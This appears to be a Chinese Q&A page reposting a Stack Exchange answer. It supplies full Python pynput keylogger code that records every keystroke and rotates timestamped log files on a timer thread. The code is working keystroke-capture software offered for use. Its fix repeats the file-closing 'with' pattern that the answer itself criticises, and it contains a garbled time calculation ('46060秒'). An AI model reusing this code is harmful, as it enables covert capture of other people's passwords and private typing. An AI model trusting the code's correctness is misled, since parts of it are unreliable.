如何让Python按键记录器每隔指定时间自动保存并生成新日志文件?
问题分析与解决方案
原代码的问题点
- 文件句柄重复关闭:
with语句会自动在代码块结束后关闭文件,你在块内手动调用f.close(),导致后续循环的f.write()操作在已关闭的文件上执行,触发ValueError: I/O operation on closed file。 - 日志覆盖问题:每次调用
write_file时用'w'模式打开文件,会清空之前的所有内容,无法累积日志。 - 定时逻辑错误:把时间判断写在按键循环里,每次按键都触发判断,逻辑混乱且无法精准定时切换文件。
实现每隔X秒生成新日志的正确代码
import pynput from pynput.keyboard import Key, Listener from datetime import datetime import time import threading # 全局变量:存储按键记录、当前日志文件句柄、定时间隔(测试用5秒,实际改14400秒=4小时) keys = [] current_log_file = None INTERVAL = 5 # 秒 def init_log_file(): """初始化/切换新的日志文件""" global current_log_file # 关闭旧文件(如果存在) if current_log_file is not None: current_log_file.close() # 生成新的文件名(带时间戳) now = datetime.now() dt_str = now.strftime('%d%m%Y-%H%M%S') # 用追加模式打开新文件(避免覆盖) current_log_file = open(f'log-{dt_str}.txt', 'a', encoding='utf-8') def write_keys_to_file(): """将按键记录写入当前日志文件""" global keys if not keys or current_log_file is None: return # 格式化按键内容 with current_log_file: for key in keys: try: # 普通字符直接写入 current_log_file.write(key.char) except AttributeError: # 特殊按键替换成易读格式 if key == Key.space: current_log_file.write(' ') elif key == Key.enter: current_log_file.write('\n') else: # 其他特殊按键用[按键名]标记 current_log_file.write(f'[{key.name}]') # 清空已写入的按键列表 keys = [] def timer_task(): """定时任务:每隔INTERVAL秒切换文件并写入记录""" while True: time.sleep(INTERVAL) # 先写入当前按键 write_keys_to_file() # 切换新的日志文件 init_log_file() def on_press(key): """按键监听回调:收集按键记录""" keys.append(key) # 可选:实时打印按键(调试用) try: print(key.char, end='', flush=True) except AttributeError: print(f'[{key.name}]', end='', flush=True) def on_release(key): """可选:按Esc退出程序""" if key == Key.esc: # 退出前写入剩余按键 write_keys_to_file() if current_log_file is not None: current_log_file.close() return False if __name__ == '__main__': # 初始化第一个日志文件 init_log_file() # 启动定时线程 timer_thread = threading.Thread(target=timer_task, daemon=True) timer_thread.start() # 启动按键监听 with Listener(on_press=on_press, on_release=on_release) as listener: listener.join()
关键说明
- 线程分离:用
threading.Thread启动定时任务线程,和按键监听线程互不干扰,保证定时精准。 - 文件管理:
init_log_file函数负责创建新文件并关闭旧文件,避免文件句柄泄漏。 - 按键格式化:单独处理普通字符和特殊按键,让日志更易读。
- 退出处理:按
Esc键退出时会自动写入剩余按键并关闭文件,避免数据丢失。 - 间隔调整:把
INTERVAL改成14400(4小时=46060秒)即可满足实际需求。
内容的提问来源于stack exchange,提问作者Munim Jaffer
相关产品推荐
相关产品推荐

